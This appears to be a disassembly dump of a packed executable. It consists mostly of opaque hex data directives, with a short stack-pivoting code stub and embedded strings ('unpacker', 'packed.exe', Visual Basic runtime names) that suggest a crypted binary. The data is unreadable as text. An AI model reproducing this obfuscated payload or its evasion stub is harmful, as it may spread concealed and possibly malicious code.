		dd 0A0DDF559h, 53Eh, 1391F3F0h,	9210726Dh, 1391F3ECh, 95137B6Dh
		dd 1391FDEFh, 0B411633h, 83BF65E3h, 0F3FE563h, 88C369E7h
		dd 234EEC6Ah, 92338A07h, 0E81EEB77h, 0FD55BFAEh, 5AB2D00Bh
		dd 29BFF1Ah, 5D2BA9CBh,	65487C34h, 0D4Ah, 0D163A400h, 6D000000h
		dd 0CB63h, 0B38F6D00h, 1A062279h, 6147B2FDh, 8E5465BDh
		dd 9BC63230h, 997DD569h, 0F292AE05h, 99418689h,	3189F5E7h
		dd 0D0F7B94Dh, 0D755C287h, 4B882BFh, 7D6A0000h,	0F8E78D0Bh
		dd 75660C8Ah, 0F1E78D0Bh, 73690F8Dh, 90AD8D0Bh,	0DF5D81BBh
		dd 5FDD0D39h, 0E36181B9h, 66E40E3Dh, 4819DC8h, 65779233h
		dd 4EF96298h, 0C48CB532h, 0D072167Dh, 5167391h,	93102C39h
		dd 0F47DC48Ch, 91E90B42h, 447719ADh, 17338A1Eh,	47B8FCE7h
		dd 1F06C2DFh, 476F3E1Ah, 0F44CB6A5h, 37DBB310h,	8DFFEAE0h
		dd 5A938930h, 6EEEBA38h, 0BB77981Bh, 3EE46280h,	8704200Dh
		dd 0E877981Bh, 6359B044h, 0CEB20A68h, 278CC971h, 0E5000004h
		dd 5487F9EFh, 473D9A2Eh, 2279B38Fh, 0B2FD1A06h,	0DEFA6147h
		dd 77923D61h, 0C23F5BC2h, 2377923Ch, 1D49EB7Fh,	0F00159EDh
		dd 6783DA12h, 418689C7h, 0FB08CA6Eh, 0EE55C287h, 3E899D6h
		dd 0AD9A0000h, 2817BD3Bh, 0A5963CBAh, 2117BD3Bh, 0A3993FBDh
		dd 0C0DDBD3Bh, 0F8DF1EBh, 8F0D7D69h, 1391F1E9h,	96147E6Dh
		dd 34B1CDF8h, 95779232h, 0B38F92C8h, 16062279h,	8E47B2FDh
		dd 3D4AC7E3h, 7AB7792h,	0B20A7465h, 0F59971CEh,	0C2FDF39Eh
		dd 0A2C0FEA0h, 1709664Ah, 4A67BE24h, 0D67198B1h, 0DAE52A1Ch
		dd 81C93902h, 0BB17FDCh, 3E5BB2D0h, 1F22E536h, 3AB08C0h
		dd 85DC2CF2h, 80C41069h, 368D3141h, 69E70D40h, 126A88C3h
		dd 94EB3D01h, 54216478h, 0F2320B3Bh, 0F8C7CEA4h, 2DCC4965h
		dd 892D6B34h, 0F91D53F5h, 6729BDA1h, 4B0C5954h,	33E6233Bh
		dd 0E5000003h, 620886F8h, 0E1870567h, 620886E8h, 0E48A086Eh
		dd 280886E8h, 0D806360Bh, 58B6B45Ah, 0DC3A34DAh, 5F85B85Eh
		dd 0FC1843E1h, 7792317Fh, 0AEDD13E0h, 0F97692BFh, 5A7DC48Ch
		dd 8D5AD7F3h, 17BB7DC4h, 0A597EF83h, 4AF54CB6h,	0DD3B132Dh
		dd 35FD4FE8h, 7DC3DCB8h, 0B7B6719h, 993BCFB3h, 5E941A1h
		dd 4915DAA8h, 888CA8FFh, 0F47B7FFh, 0FAF3615Dh,	0C85C4098h
		dd 30C0DD34h, 0F0C5205Ah, 8DA54DAAh, 77981114h,	0DC99011Ch
		dd 6B74F7B5h, 29C9h, 0B38F2300h, 6E062279h, 1547B8A8h
		dd 55721971h, 0A1610B47h, 3F57B4D4h, 7797D4C6h,	8EE7B3CEh
		dd 6B753803h, 0D77Bh, 0BFAED500h, 0AB56FD55h, 0C48D128Fh
		dd 2DCF737Dh, 8678D53Dh, 0BF211A56h, 97EF8367h,	0F54CB6A5h
		dd 0C76CCDFFh, 0E322F20h, 9E46A337h, 0FC53B1ACh, 4BA8D606h
		dd 5B77227Dh, 7DC39CDEh, 263E9B3Fh, 7DC3C577h, 4BC92B22h
		dd 6D17B6A5h, 12AACB4Ah, 12237B0Fh, 89A5FC4Ch, 47B7CB4Dh
		dd 4D129034h, 0C4E03771h, 41892C16h, 0E8DE35D9h, 1E407CF4h
		dd 76660C8Ah, 0DA1C3FAh, 0C7E6AA4Bh, 0B0ED0555h, 1F6h
		dd 0CB49BBA8h, 4AC83A25h, 0CB49ABA4h, 4DCB3325h, 0CB49B5A7h
		dd 0C3F9CEEBh, 4B771D9Bh, 0C7F79D1Bh, 407B219Fh, 0DB06A422h
		dd 923042BFh, 0A0D6A377h, 0F4D7DCF9h, 97D85571h, 95397DC3h
		dd 8BF15ECCh, 0A9003C2Eh, 0C3D4DE1Ch, 169428F0h, 0DE097D70h
		dd 0F09A18ACh, 2279B38Fh, 0B8A86E06h, 6D631547h, 39CDB109h
		dd 6950C9E1h, 0A1977798h, 43D73F2Fh, 0A0C2F9EBh, 0ADED0848h
		dd 98021DFEh, 74A3B4DDh, 0DACA6Bh, 56730000h, 4F7D4B7Ah
		dd 0C499561Fh, 0AE9B91EEh, 0ED1147BFh, 0DD0F0159h, 0EE46A4A3h
		dd 61E760Ah, 7DC4B557h,	2BA9CB02h, 8C0925D0h, 0ED7DC487h
		dd 0C3FAEC49h, 839F4AA1h, 7DC48806h, 0BE66C367h, 0DED4D1ADh
		dd 3CB981E3h, 9D7DC488h, 0FE92F0EBh, 0BBF7136Ah, 0D347B8C0h
		dd 0F14BE2DDh, 0D07ABF85h, 8AA3FB8Fh, 3E2B3F07h, 3A972B17h
		dd 7B40BE62h, 986A2A7h,	507797F4h, 0B89CF412h, 0A1F88C30h
		dd 89C37885h, 0FE55F941h, 0CBE7D408h, 7169464Eh, 0F9770BAFh
		dd 33F51953h, 55C741F4h, 0CFCE0B23h, 81000000h,	0FEA42244h
		dd 7D23A1C3h, 0FEA4224Ch, 8026A4CAh, 0C4A4224Ch, 749AD2A7h
		dd 0F41250F6h, 789ED076h, 0FB1954FAh, 98B4DF7Dh, 77922F1Bh
		dd 0AE79AF7Ch, 2CD250BEh, 0AB55D331h, 0FD55BFAEh, 0ABA4D00Bh
		dd 7237B549h, 0E9055CACh, 47B2FB94h, 0C7B911B5h, 4AF06E94h
		dd 8199F113h, 4857B202h, 99F1114Dh, 0F44CB6A7h,	0C1B4314Dh
		dd 71156A57h, 4B603AA5h, 0A9A2987Fh, 0AE0BEF47h, 57861783h
		dd 0ECE0D62Dh, 0B1572582h, 560158BAh, 57C1BD3Ah, 1D7A1E6Ah
		dd 1B4D8375h, 0D42CC022h, 1E7F1B0Ah, 0A147C52Fh, 46F148AAh
		dd 57C1AD2Ah, 95350E6Ah, 0DA74739Ah, 68106D01h,	426AA4C1h
		dd 0DA1D84Ah, 0C73B0h, 0B07D0000h, 25D7C99h, 0B6A1A7B5h
		dd 0B1AE6359h, 0D605F74Fh, 686254ACh, 82C0B20Ah, 221A0C64h
		dd 7A7264BCh, 96CABC14h, 35261870h, 468173CBh, 5791CC24h
		dd 0BD55E789h, 1B800ABFh, 8105E5C1h, 157E4F5h, 5DEF0170h
		dd 8704EF83h, 685C243Ch, 131Ch,	51240489h, 0C181E189h
		dd 4, 4E981h, 0C870000h, 3C895C24h, 1D72B824h, 952541AFh
		dd 5673323Eh, 103426BEh, 5EF001C5h, 5E9068h, 24248900h
		dd 4240483h, 1CFA685Fh,	0C890000h, 89C18924h, 0FF59084Fh
		dd 835F2434h
		dd 48B04C4h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_50E1A9
; ---------------------------------------------------------------------------
		dw 5ED4h
		dd 608722CAh, 5F21B8A6h, 0C5030632h, 9BD6E0FFh,	0A75C15A7h
		dd 0F03D4ED0h, 0AD7D5AD6h, 5DCD6A7Fh, 0EC6C01EAh, 85783FC4h
		dd 5DFC70B8h, 50FD02D6h, 98881671h, 9C4D152Dh, 1818164Bh
		dd 0D150196Bh, 82AB3051h, 0D288514Ah, 0ADB1EE2h, 1CF66B0Dh
		dd 570C5FBCh, 815C32D6h, 77E956B1h, 0B1000001h,	0C5030541h
		dd 4377E705h, 5F6D5C3Ah, 61706E75h, 72656B63h, 63617000h
		dd 2E64656Bh, 657865h, 3Ah dup(0)
		dd 33000000h, 6E6E6143h, 6620746Fh, 20646E69h, 27732527h
		dd 6C50202Eh, 65736165h, 6572202Ch, 736E692Dh, 6C6C6174h
		dd 69687420h, 70612073h, 63696C70h, 6F697461h, 6854006Eh
		dd 54526E75h, 6E69614Dh, 765F5F00h, 61566162h, 74735472h
		dd 654Eh, 6 dup(0)
		dd 0FCE90000h, 6800001Ch, 632636Ch, 0FA1B1DE9h,	646568FFh
		dd 13E90632h, 68FFFA1Bh, 632656Fh, 0FA1B09E9h, 664368FFh
		dd 0FFE90632h, 68FFFA1Ah, 6326689h, 0FA1AF5E9h,	676468FFh
		dd 0EBE90632h, 68FFFA1Ah, 63267C8h, 0FA1AE1E9h,	681C68FFh
		dd 0D7E90632h, 68FFFA1Ah, 6326FBCh, 0FA1ACDE9h,	705D68FFh
		dd 0C3E90632h, 68FFFA1Ah, 6327127h, 0FA1AB9E9h,	722668FFh
		dd 0AFE90632h, 68FFFA1Ah, 632728Ah, 0FA1AA5E9h,	735B68FFh
		dd 9BE90632h, 68FFFA1Ah, 6327411h, 0FA1A91E9h, 74BD68FFh
		dd 87E90632h, 68FFFA1Ah, 6327B52h, 0FA1A7DE9h, 7C6E68FFh
		dd 73E90632h, 68FFFA1Ah, 6327D05h, 0FA1A69E9h, 0F5155CFFh
		dd 8F19F3A4h, 2AB28D3Eh, 0C34F28D9h, 5FE5C172h,	0CA6F800Eh
		dd 661768EEh, 4B50688h,	0A152A327h, 3DEA3B59h, 0D81A70AFh
		dd 663C37F0h, 39579F68h, 19489091h, 1B0BB3D1h, 760B6ABBh
		dd 0BA6FAE2Ch, 0DA37EED7h, 6FB7EC6Ah, 3641F951h, 37EEA7C4h
		dd 0FDC7C2DBh, 6A51D4FBh, 3991BBA9h, 2998D8BEh,	348F58h
		dd 0F1510000h, 9D27015Ch, 27A505F5h, 0EEDEBFE8h, 3C7BBD37h
		dd 37EE9EC6h, 0D4409808h, 79AEBC64h, 30BB1331h,	37EE9EDEh
		dd 0ADDBCD5h, 582A2E24h, 0D7DBh, 50929D00h, 0C2BABD11h
		dd 68EAC831h, 0E75E9C0Ch, 9F9A852Bh, 41890A62h,	386D7B23h
		dd 4030D85Ah, 0C16987CFh, 1CF879D1h, 0A5EDEE96h, 96DEDF87h
		dd 0CE6C2778h, 0DB31C215h, 1C6C9793h, 0ABEB6F7Ah, 76D6603Ah
		dd 753EF6F8h, 2A5ABFDEh, 3222CA4Ch, 68197AD2h, 0AB5A0220h
		dd 0F4ECC16h, 37EED72Eh, 2B60DE4Eh, 1273CB4Dh, 56D41EB3h
		dd 0DD751B17h, 4B245931h, 0CF2717BFh, 4075F363h, 0DC8DDE64h
		dd 97157A00h, 774A85F6h, 1A52E03Fh, 0EC330000h,	0F0CA7BCCh
		dd 89641566h, 26FFB001h, 0BC98499Ah, 4657E536h,	0F041C7A3h
		dd 8EDF613Fh, 2B7C00DDh, 0C314327Ah, 0F5498816h, 1537F0D9h
		dd 0C39F413Fh, 0AE8ABF3Dh, 38908028h, 0BE419D7h, 8FE7D77Fh
		dd 0BD97C60Eh, 9882D333h, 0E8FB9092h, 1F41919h,	0D830B290h
		dd 4CCA14A9h, 0EE22940Dh, 0EC940437h, 0EF9A69E1h, 0AA6D8637h
		dd 2931D5BBh, 0CA8C58h,	9F4E0000h, 90913957h, 78862EB4h
		dd 0BA83F736h, 53C331C2h, 0D57D09E2h, 54028DE5h, 7131C2BEh
		dd 9BA0B29h, 0EDFBA3C1h, 6845DCB8h, 0FD2C84E4h,	5EA01E68h
		dd 0BF69DD1Ch, 39A931C2h, 0C57556E1h, 317337EEh, 0EEB69CF2h
		dd 0F64EBE37h, 0A62E098Ah, 5DAE0EFEh, 0A24169FEh, 32B2FC50h
		dd 92F27E57h, 0AA75B432h, 0C831DD93h, 0DA32B693h, 4B80FE6Eh
		dd 0DA98E96Fh, 0EA42CAA5h, 0A2078D69h, 4A86CF04h, 5963C2FAh
		dd 3A000019h, 0D182D3F3h, 6B1C6DF7h, 6B70890h, 9F50A12Dh
		dd 5EEC3DC3h, 46CCA84Dh, 0E46644F5h, 8105E293h,	19377F30h
		dd 4E8D1BC8h, 37F0DEF8h, 9F46441Ah, 82D5FC3h, 8B1A604Bh
		dd 8F7F27B1h, 0CD7ECF2Fh, 2C166785h, 9139579Fh,	0AC2A4890h
		dd 98BE84AAh, 0EB231D15h, 0D8B1EF8Fh, 1B7CD46Eh, 0F0CC27BCh
		dd 72D2C26Ah, 1F73B2F4h, 3F31C203h, 0F959E5BEh,	0CFD113A1h
		dd 0B09FA581h, 0C954AC38h, 37EE58A4h, 2DA1E022h, 6D37EE24h
		dd 0C939A5FDh, 24A41621h, 0A2BB37EEh, 0B00AF0E7h, 5B5D5829h
		dd 0F95ABBC4h, 0DF0961F7h, 0B3h, 9F9D3BA1h, 4967AF0Ah
		dd 0D351B1A1h, 0EEDC4794h, 9B47B737h, 71436890h, 0EC36CB00h
		dd 8122F6Eh, 41C2ED28h,	4838E064h, 0A344790Ah, 92F239F6h
		dd 5CA63BEAh, 42339FDEh, 1563D700h, 0CA34B92Ah,	1290F0F3h
		dd 886695DDh, 0ED9517F5h, 5F59DFDh, 5BA354A5h, 1B8D83Dh
		dd 0EE26254Dh, 184F8Fh,	0C9E93000h, 63EDC778h, 0FE866112h
		dd 9723FCADh, 33B99546h, 9EBB54E2h, 3AEB3CC2h, 0D889DA5Ch
		dd 752677FBh, 11BE0F2Dh, 0DFCE4483h, 3A1037F0h,	39579F3Ch
		dd 2418391h, 31C2BA8Ch,	0D7065ECEh, 3B7AF842h, 37EED816h
		dd 0C02668B6h, 0FC61FE36h, 3B614B9Ch, 0C00A9F9Dh, 35FE0042h
		dd 7A00DCADh, 745B863Ch, 0B044911Ch, 44B437EEh,	2FB591C6h
		dd 833F9787h, 0C73B0C78h, 0D2FA8FBEh, 6BB324A6h, 0B69D0F4Dh
		dd 3C7BF959h, 0BABB420Fh, 8B75FCFh, 0A9AB2973h,	3E4A2BAh
		dd 21AF0797h, 732374E2h, 0D98284A4h, 0F77D33EDh, 34B52179h
		dd 3828D05Ah, 0BE66EAC7h, 0BBF06ECEh, 0CDFC4473h, 0D2C26AF2h
		dd 9C280172h, 0F23AEB3Ch, 165B6FD4h, 7BB3D7DCh,	177B1Ch
		dd 0F5155C00h, 8F19F3A4h, 2AB28D3Eh, 0C34F28D9h, 5FE5C172h
		dd 0CA6F800Eh, 661768EEh, 4B50688h, 0A152A327h,	3DEA3B59h
		dd 0DC1A70AFh, 663C37F0h, 845D9268h, 86050F8h, 0BC213F87h
		dd 3E2B2608h, 355FBEF6h, 16000017h, 0AD5EAFCFh,	47F849D3h
		dd 0E293E46Ch, 7B2C7D09h, 3AC8199Fh, 22A884A1h,	0C04220D1h
		dd 5DE1BE6Fh, 0F5135B0Ch, 2A69F7A4h, 37F0DCD4h,	9F2220F6h
		dd 9AD91B57h, 31C2BA24h, 77BF666h, 3231C2BAh, 70CCEAh
		dd 0B449F8A0h, 51F97B59h, 44830161h, 37EEE4CFh,	394E9F0Fh
		dd 0D00F51AEh, 37EE907Ah, 0CAEE2C9Ch, 23188A81h, 0C65B8AE2h
		dd 32BFFE7Ch, 0E231C279h, 95BBC672h, 76C233B4h,	0DA1997E1h
		dd 9EEFBFADh, 4A7FFD6Dh, 5040E86Eh, 247C04DFh, 0DE28BD6Ch
		dd 0C5B52160h, 57E598DFh, 9FB1A218h, 1474E484h,	11525496h
		dd 50558B77h, 0CF5330A1h, 5EDF3727h, 387AF816h,	9F2285F9h
		dd 0FD55C584h, 5D9CDE9Ch, 849F22E9h, 0E061B929h, 0A9157A98h
		dd 45F388BEh, 165AAE0Dh, 0F43B0000h, 0F8D283D4h, 916C1D6Eh
		dd 2E07B809h, 0C4A051A2h, 4E5FED3Eh, 0F849CFABh, 96E76947h
		dd 338408E5h, 0CB1C3A82h, 0FD51901Eh, 1D37F0DDh, 5D924947h
		dd 17A2FA82h, 31C2BAA3h, 0C2CA4AC4h, 0DA057531h, 0D42631C2h
		dd 0D431C29Ah, 0F31499D2h, 15863A62h, 0D95AB23Ah, 0DA0E7391h
		dd 343E2BA8h, 15F69DFCh, 90D70000h, 946E1F70h, 2D08B90Ah
		dd 0CAA354A5h, 603CED3Eh, 0E2FB89DAh, 94E56B47h, 328305E3h
		dd 0CF20A481h, 67B8D61Eh, 99ED2CBAh, 0B937F0DDh, 5CF1E5E3h
		dd 10529412h, 0C2BA7DD1h, 0D52D9D31h, 0EECD5D4Ah, 5E3CBD37h
		dd 0CB177CDCh, 33445739h, 15A29CFBh, 3C830000h,	401ACB1Ch
		dd 0D9B465B6h, 764F0051h, 0CE899EAh, 16A73586h,	409117F3h
		dd 0DE2FB18Fh, 7BCC502Dh, 136482CAh, 2599D866h,	6537F0D2h
		dd 579F918Fh, 4E839139h, 1495ED71h, 0D606AECCh,	795F7611h
		dd 305E564Dh, 64h, 805D92F2h, 74654FCh,	31C2BAB3h, 0AB0363D3h
		dd 0C2BAAE20h, 0C099CE31h, 63C34523h, 898DCBBBh, 95F98322h
		dd 0DC24A5FDh, 0EB2AD4ADh, 31C2E497h, 3FE747B7h, 7A04DE4Fh
		dd 8D679C1Ah, 805A5B03h, 0DD3E96F6h, 1E612B22h,	0B9C76F32h
		dd 7C24A684h, 155348Ch,	93000015h, 139DF991h, 0AF20EEDCh
		dd 37F14967h, 9139579Fh, 85034DE2h, 0EEDD2D46h,	0C5DCD37h
		dd 0E1BD18ADh, 487DFB5Bh, 8EE66Ch, 0C2E158C1h, 68108031h
		dd 0B3048C67h, 9A9187F8h, 4ED8B23Dh, 0C20A3FFDh, 0B40CFCA4h
		dd 27CF5933h, 6E0BE419h, 70600826h, 20786810h, 933BC59Fh
		dd 77682FC8h, 17C2139Dh, 51FE2731h, 25DE8h, 5CF1AA00h
		dd 60559412h, 0A037EEC1h, 0AD878830h, 9B13512h,	0B768B919h
		dd 0DD6942DDh, 70CAD57Dh, 4137EEC2h, 82B79D7Ch,	49CA22A4h
		dd 3594E56Fh, 0A3D856A0h, 59E73FC9h, 0C2D7291Ah, 12F07131h
		dd 98F8E890h, 33C2181Ah, 0DE76FE2h, 0F735AEBDh,	368E2692h
		dd 8B6E707Eh
		dd 0BBB2C982h, 15F172CAh, 4D0F118Fh, 33BF98C7h,	3F5D9B8Bh
		dd 6C4ABBFCh, 0FA5242EAh, 860CE899h, 767DD3DEh,	83483D9Ah
		dd 69EFCB84h, 0DA24B918h, 45C1D5Ch, 4CBC3BB6h, 5F5BA3A4h
		dd 0CEEA334Ch, 0BBD18E46h, 0E4DD984Bh, 0B2361384h, 69BA1A0Ah
		dd 0AA5270B8h, 46502B9Fh, 4A4D1223h, 0DE2F4D95h, 4BC9532Dh
		dd 9B13D16h, 809C119h, 0F126A42Eh, 0F8E89014h, 4B1DE8A0h
		dd 5AB23C16h, 0B400205h, 0CD4EA632h, 0E9EB69F3h, 1CC1A59Bh
		dd 0A70860E4h, 0D22616FCh, 0B2CD4Bh, 9F8F0000h,	94953DC3h
		dd 0BF8A32B8h, 926E6326h, 68B7B3FBh, 9F4FB645h,	5343EB4Bh
		dd 0D52096D5h, 0F26231C2h, 0B121492h, 0EE50117Eh, 48F354ACh
		dd 5E555462h, 1BA780B5h, 7699C3h, 9F5B0000h, 0B64B2857h
		dd 0BDAD55D9h, 4755FD5Dh, 57AF3712h, 0C8708ED6h, 0BB63EDC7h
		dd 0AE56E0BAh, 0E48C8BA4h, 4B0910A9h, 0D830C649h, 9D781B8Dh
		dd 0DC5DB515h, 7A257694h, 5E562994h, 374Bh, 5CF10D00h
		dd 0BA41B5F4h, 118131C2h, 0B2F133B1h, 31C2BA5Ch, 28B60E7Eh
		dd 0EEC860E9h, 70188837h, 0CB512D62h, 0B596E873h, 748D37EEh
		dd 3EDCC295h, 0BB93582Ah, 55000000h, 94125CF1h,	0EEDD7C55h
		dd 0AE2C9C37h, 70189C79h, 9EAF2362h, 7FEF37EEh,	0E0FC71Fh
		dd 0F72CAA34h, 0F9E991AFh, 0B58F40A1h, 9E78CE0Dh, 2A9A37EEh
		dd 472122CAh, 0B14A15BDh, 55EAECD6h, 0F0C50711h, 7E58D931h
		dd 0F53476F4h, 37EE8381h, 5E051C1h, 19C4257Dh, 582A1933h
		dd 57EAh, 5FF1AC00h, 165E9311h,	23D1191Ah, 0E4442C48h
		dd 6BBFFE8Ch, 0ABB1C22Fh, 3C7BBD3Bh, 0B1C22FC6h, 0FC47BA08h
		dd 6868FC55h, 0EAF8B008h, 362226E8h, 21794381h,	0C2B72496h
		dd 682F48B1h, 95E9286Ah, 0B5B1C2B7h, 2ABEED45h,	8D2160DEh
		dd 0D31C2B7h, 73D4C9Dh,	4F000000h, 6A41h, 0C49F5300h, 0B993943Ch
		dd 1E20DE2Fh, 26EE63CEh, 7553C4D7h, 401A9BF3h, 5BE55998h
		dd 0B52531C2h, 5D9FAD55h, 0C25BA81Eh, 227AEA31h, 0F2F45CF3h
		dd 50252BE7h, 9DF16C67h, 0A831C2DAh, 7BEB47CBh,	1568731Bh
		dd 0E31C2DAh, 24AC87BCh, 0C59077CCh, 5E55F1DFh,	0C4196h
		dd 3428400h, 31C2D68Fh,	4D980FEDh, 6FCBCDAFh, 92EDA7FFh
		dd 53FB815Dh, 45DC0B63h, 0FC3B7DFBh, 31C2BA86h,	0DE758C8h
		dd 68732B83h, 0BB6DEE99h, 23E4092h, 962240h, 771FA983h
		dd 7ACF2787h, 86E2C89Fh, 2A99D4AAh, 5B000000h, 92105EF1h
		dd 0A2FA825Dh, 0C39DD214h, 0E056E139h, 2231C2BAh, 0F5FF0AB2h
		dd 0FEDB3688h, 4D3322E5h, 4B4E283h, 2A3h, 105EF1C6h, 0BD115092h
		dd 0DD31C2BAh, 805B156Dh, 0D2909216h, 0E29152E9h, 0C81091E9h
		dd 2A6400AAh, 5645CFA5h, 546661h, 92280000h, 39B8DB90h
		dd 0EA42175Ah, 0B1FC24BBh, 5EE787FAh, 3FC7A213h, 0C947A797h
		dd 0D1F24887h, 0A41431C2h, 5392924Ch, 31C2BAFAh, 9208B222h
		dd 1EC49F24h, 0C2BA6BDFh, 0FD3BAB31h, 0C1EB1A51h, 2BD5358Fh
		dd 62A1E3F5h, 31C2BAECh, 0AC66BE2Eh, 4D41h, 90925300h
		dd 0A2B75F59h, 5786DE91h, 92CC76C0h, 0C2BAFA53h, 0C06A4A31h
		dd 5D922492h, 3C7BF983h, 31C2BAC6h, 0BF409808h,	0BF67EE4h
		dd 70195416h, 97D5E359h, 67A5D2B9h, 358243E4h, 0AB55B5F8h
		dd 0E8835D92h, 0ECDC840Eh, 9CF4E48Ch, 8B953371h, 0F66EB216h
		dd 9243941Ah, 6B9C2C4Ah, 0EE422B8Fh, 34CAC658h,	0EDF644D4h
		dd 0CFED352Ah, 0ABDA2223h, 0B2A24ACEh, 0C49FD452h, 0AF44E43Ch
		dd 545618E9h, 0B28F9B5Ah, 5896862Eh, 1F5E5C7Eh,	0D2DDEABh
		dd 0C31B7BEBh, 6EB6AB6Eh, 5190D250h, 0D2DDEFDh,	0FBA32F08h
		dd 0E73FAF0Bh, 0C4E22A2Bh, 0AF351146h, 33DB633Eh, 1A4BEB43h
		dd 0DE2C9D3Eh, 0EB6C0D2Dh, 0F2E28A0Eh, 6DF1492h, 0A3C1097Ah
		dd 13B30BFBh, 4DDBCC5h,	0E4F29EBCh, 2D05AE2h, 0A3FBE3FFh
		dd 18C04622h, 20B9EEB3h, 0DE265B79h, 0D02818C0h, 6FED734Fh
		dd 4DD40F6Dh, 0D52DAFD5h, 5D7BC374h, 1FC09CCDh,	0D2DC2AEh
		dd 0DFEE7EEEh, 569EB356h, 438B8C38h, 95009525h,	0A2BF5AEFh
		dd 0F8765E5Ah, 0A3BBB796h, 4E969743h, 936FA030h, 375AB0EFh
		dd 89670D2Dh, 0DB3BAB07h, 0C2E0285Dh, 0DFB92A1Ah, 0F5DFD55h
		dd 64E0306h, 92023CE8h,	50F8845Dh, 0A5B78782h, 2888247Ch
		dd 0E9074FD0h, 9216803Fh, 0BABD1150h, 6DDD31C2h, 652E615h
		dd 0E490925Ch, 0EADB2427h, 91CB87DFh, 5645CFA5h, 576661h
		dd 52540000h, 6901169Bh, 8F49A147h, 67115FF1h, 0BAFA5392h
		dd 0FE0031C2h, 0C2812AA3h, 76E23A82h, 24925C06h, 7FAD9092h
		dd 0D796636Bh, 8924FE7Fh, 66A52341h, 31C28810h,	0E462C232h
		dd 0AD2160A2h, 0ED31C288h, 888C027Dh, 0DEB931C2h, 328AFA56h
		dd 41B7F578h, 43h, 115FF153h, 0FD815E93h, 5092EBA5h, 0BA7BCF0Eh
		dd 2B9B31C2h, 0BAF748D3h, 0F3F531C2h, 16C7AAEh,	0FAFA17C8h
		dd 2295D408h, 46266AC2h, 4E50929Ch, 0E6791E1Bh,	4BE1671h
		dd 913BC59Fh, 0D5AEE3F5h, 9537F149h, 31C2CBDAh,	0FCFD6736h
		dd 9579FFFFh, 31C2BA25h, 70C10FA2h, 724BE4BFh, 9B01A8E6h
		dd 69E06D1Fh, 0E0566109h, 431C213h, 0E4262CEBh,	0C21351A5h
		dd 0F6145C31h, 0B4C04C9Ah, 371BCBD8h, 23FE7FD7h, 9CDB1D9Bh
		dd 31C29E26h, 3FA0F868h, 0D92AB48Eh, 63BCE67Ah,	0B609B945h
		dd 0DEE991F1h, 74198BB1h, 63A2E436h, 739463EFh,	8481BF2Fh
		dd 4A8BAA3Ch, 70257AFh,	46BCFB3Dh, 887394BCh, 5F45C018h
		dd 161C0047h, 22Bh, 2B450204h, 0DB0A5FE7h, 2495C983h, 0A131C2BAh
		dd 544C20Ch, 37EEDBB0h,	5E0F60D0h, 5253FB83h, 4546EE78h
		dd 8A39E16Bh, 2B2DABF5h, 982D1EEFh, 0AE3C9405h,	0D759376Ch
		dd 5CE73F2Fh, 31C226E7h, 8A52B727h, 644A8412h, 0E02CD2Ch
		dd 9CE30000h, 0A07A2B7Ch, 3914C516h, 0D6AF60B1h, 6C48F94Ah
		dd 0F60795E6h, 0A0F17753h, 3E8F11EFh, 0DB2CB08Dh, 73C4E22Ah
		dd 85F938C6h, 0C537F0D5h, 579FF1EFh, 4DE29139h,	319115F2h
		dd 0FFA17EB3h, 0C2BA4AC0h, 0BC1C8C31h, 0FB97D664h, 1B37F51Bh
		dd 0ACEB2DABh, 37F0DB56h, 22B00878h, 43DFDEE0h,	0C872217Dh
		dd 0AC0464EEh, 77C8502Bh, 6ED8B7B9h, 3D03C5E6h,	0F08964E5h
		dd 872F8F13h, 78203E86h, 0D557356Ah, 0EECC3D2Dh, 7CD4C46Ch
		dd 0F06EB84Dh, 0DC7F48B1h, 9B007031h, 4A89EB3Bh, 610C6BA3h
		dd 4200000Dh, 0D98ADBFBh, 732475FFh, 0EBF1098h,	0A758A935h
		dd 66F445CBh, 4ED4B055h, 0EC6E4CFDh, 890DEA9Bh,	213F8738h
		dd 569523D0h, 37F0CAE0h, 924E4C22h, 0A4FC805Dh,	15BDDB23h
		dd 987D166h, 0EEC835CAh, 0A57EB337h, 29817119h,	4BFC4DBDh
		dd 6567E503h, 848189E3h, 39178833h, 9FFE5FB7h, 342C00Ah
		dd 31D99C20h, 0C14B255Ah, 65D12919h, 0F63577F5h, 3D9C5380h
		dd 53ED61A0h, 0BD2D3D9Ch, 3880F161h, 2A82721Ah,	48C679Ch
		dd 0ED775186h, 0CC7A7745h, 0F45806C8h, 2ADB3C94h, 1E1FC74Fh
		dd 44CCA7D6h, 0A44CAC9Ch, 981660F5h, 51FA5456h,	0E38B15EFh
		dd 0F9ADB5F3h, 89F27DD5h, 0B13BB079h, 0EA24DC41h, 0A2DA50B5h
		dd 0C9743h, 11317800h, 0AB350FC0h, 46CEA95Ah, 0DF6B44F5h
		dd 7B01DD8Eh, 0E6039C2Ah, 8233840Ah, 20D122A4h,	0BD6EBF43h
		dd 59065775h, 0CB368CCBh, 825837F0h, 39579F84h,	24AA86BBh
		dd 7C348C7Ch, 4CD46C6Eh, 0A4376684h, 2D881D4Ch,	57E3BC4Fh
		dd 0B75FBFAFh, 0AAE967C7h, 37EE297Dh
		dd 1EDC2D9Dh, 0DE860EE9h, 0B53D91D0h, 0ED5D37EFh, 0DAB4358Dh
		dd 734EFF50h, 0F1B09AEBh, 0A024015Ch, 4B80C240h, 9975E672h
		dd 237B6B13h, 0EEECB398h, 0A07CB137h, 2A82721Ah, 9BA64EBEh
		dd 37EE8823h, 75602740h, 582A1F8Fh, 9546h, 0C59F0800h
		dd 0B892933Bh, 3678862Eh, 0C2BA83F7h, 0FB53C331h, 6D15A17Ah
		dd 19625D5Fh, 45A8D1FCh, 8926CEDh, 0F478558Ah, 0A3045C4Ch
		dd 0A8E5E3E5h, 4A2CE483h, 0E4498FD3h, 60B81833h, 0D4529C31h
		dd 98789092h, 7CCB7E98h, 0E7209924h, 0F86837EEh, 57836793h
		dd 0F04F8744h, 0B98h, 0C1123279h, 5BAC3610h, 0F647CFAAh
		dd 8FE06C45h, 2B7C02DEh, 0DE90C9Dh, 0A7853687h,	4623D425h
		dd 78C071C2h, 0CE5C095Ah, 0F0C83B8Fh, 87855B37h, 0EA3BC59Fh
		dd 5BDBh, 0C59FED00h, 9CD1825Dh, 0FE5E2558h, 0B712A756h
		dd 79F757D9h, 9E280237h, 0D46BB46h, 168637EEh, 583943B1h
		dd 4639B44h, 0B34h, 5DAECE15h, 0F748D2ACh, 92E36B46h, 2B7C08E1h
		dd 0C7189E7Ah, 0A985A039h, 4321D223h, 0E2BF70C1h, 145C0D5Eh
